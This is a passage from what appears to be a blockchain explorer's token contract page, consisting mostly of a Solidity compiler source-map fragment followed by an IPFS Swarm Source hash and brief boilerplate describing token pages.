:139;;8102:248;;;:::o;8356:419::-;;8560:2;8549:9;8545:18;8537:26;;8609:9;8603:4;8599:20;8595:1;8584:9;8580:17;8573:47;8637:131;8763:4;8637:131;:::i;:::-;8629:139;;8527:248;;;:::o;8781:419::-;;8985:2;8974:9;8970:18;8962:26;;9034:9;9028:4;9024:20;9020:1;9009:9;9005:17;8998:47;9062:131;9188:4;9062:131;:::i;:::-;9054:139;;8952:248;;;:::o;9206:419::-;;9410:2;9399:9;9395:18;9387:26;;9459:9;9453:4;9449:20;9445:1;9434:9;9430:17;9423:47;9487:131;9613:4;9487:131;:::i;:::-;9479:139;;9377:248;;;:::o;9631:419::-;;9835:2;9824:9;9820:18;9812:26;;9884:9;9878:4;9874:20;9870:1;9859:9;9855:17;9848:47;9912:131;10038:4;9912:131;:::i;:::-;9904:139;;9802:248;;;:::o;10056:419::-;;10260:2;10249:9;10245:18;10237:26;;10309:9;10303:4;10299:20;10295:1;10284:9;10280:17;10273:47;10337:131;10463:4;10337:131;:::i;:::-;10329:139;;10227:248;;;:::o;10481:419::-;;10685:2;10674:9;10670:18;10662:26;;10734:9;10728:4;10724:20;10720:1;10709:9;10705:17;10698:47;10762:131;10888:4;10762:131;:::i;:::-;10754:139;;10652:248;;;:::o;10906:222::-;;11037:2;11026:9;11022:18;11014:26;;11050:71;11118:1;11107:9;11103:17;11094:6;11050:71;:::i;:::-;11004:124;;;;:::o;11134:214::-;;11261:2;11250:9;11246:18;11238:26;;11274:67;11338:1;11327:9;11323:17;11314:6;11274:67;:::i;:::-;11228:120;;;;:::o;11354:99::-;;11440:5;11434:12;11424:22;;11413:40;;;:::o;11459:169::-;;11577:6;11572:3;11565:19;11617:4;11612:3;11608:14;11593:29;;11555:73;;;;:::o;11634:305::-;;11693:20;11711:1;11693:20;:::i;:::-;11688:25;;11727:20;11745:1;11727:20;:::i;:::-;11722:25;;11881:1;11813:66;11809:74;11806:1;11803:81;11800:2;;;11887:18;;:::i;:::-;11800:2;11931:1;11928;11924:9;11917:16;;11678:261;;;;:::o;11945:96::-;;12011:24;12029:5;12011:24;:::i;:::-;12000:35;;11990:51;;;:::o;12047:90::-;;12124:5;12117:13;12110:21;12099:32;;12089:48;;;:::o;12143:126::-;;12220:42;12213:5;12209:54;12198:65;;12188:81;;;:::o;12275:77::-;;12341:5;12330:16;;12320:32;;;:::o;12358:86::-;;12433:4;12426:5;12422:16;12411:27;;12401:43;;;:::o;12450:307::-;12518:1;12528:113;12542:6;12539:1;12536:13;12528:113;;;12627:1;12622:3;12618:11;12612:18;12608:1;12603:3;12599:11;12592:39;12564:2;12561:1;12557:10;12552:15;;12528:113;;;12659:6;12656:1;12653:13;12650:2;;;12739:1;12730:6;12725:3;12721:16;12714:27;12650:2;12499:258;;;;:::o;12763:320::-;;12844:1;12838:4;12834:12;12824:22;;12891:1;12885:4;12881:12;12912:18;12902:2;;12968:4;12960:6;12956:17;12946:27;;12902:2;13030;13022:6;13019:14;12999:18;12996:38;12993:2;;;13049:18;;:::i;:::-;12993:2;12814:269;;;;:::o;13089:233::-;;13151:24;13169:5;13151:24;:::i;:::-;13142:33;;13197:66;13190:5;13187:77;13184:2;;;13267:18;;:::i;:::-;13184:2;13314:1;13307:5;13303:13;13296:20;;13132:190;;;:::o;13328:180::-;13376:77;13373:1;13366:88;13473:4;13470:1;13463:15;13497:4;13494:1;13487:15;13514:180;13562:77;13559:1;13552:88;13659:4;13656:1;13649:15;13683:4;13680:1;13673:15;13700:102;;13792:2;13788:7;13783:2;13776:5;13772:14;13768:28;13758:38;;13748:54;;;:::o;13808:122::-;13881:24;13899:5;13881:24;:::i;:::-;13874:5;13871:35;13861:2;;13920:1;13917;13910:12;13861:2;13851:79;:::o;13936:122::-;14009:24;14027:5;14009:24;:::i;:::-;14002:5;13999:35;13989:2;;14048:1;14045;14038:12;13989:2;13979:79;:::o

Swarm Source

ipfs://8b879bdcb953914c8943fa34808f86a0d8b38a5c21706a176d3cb402185080e9
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.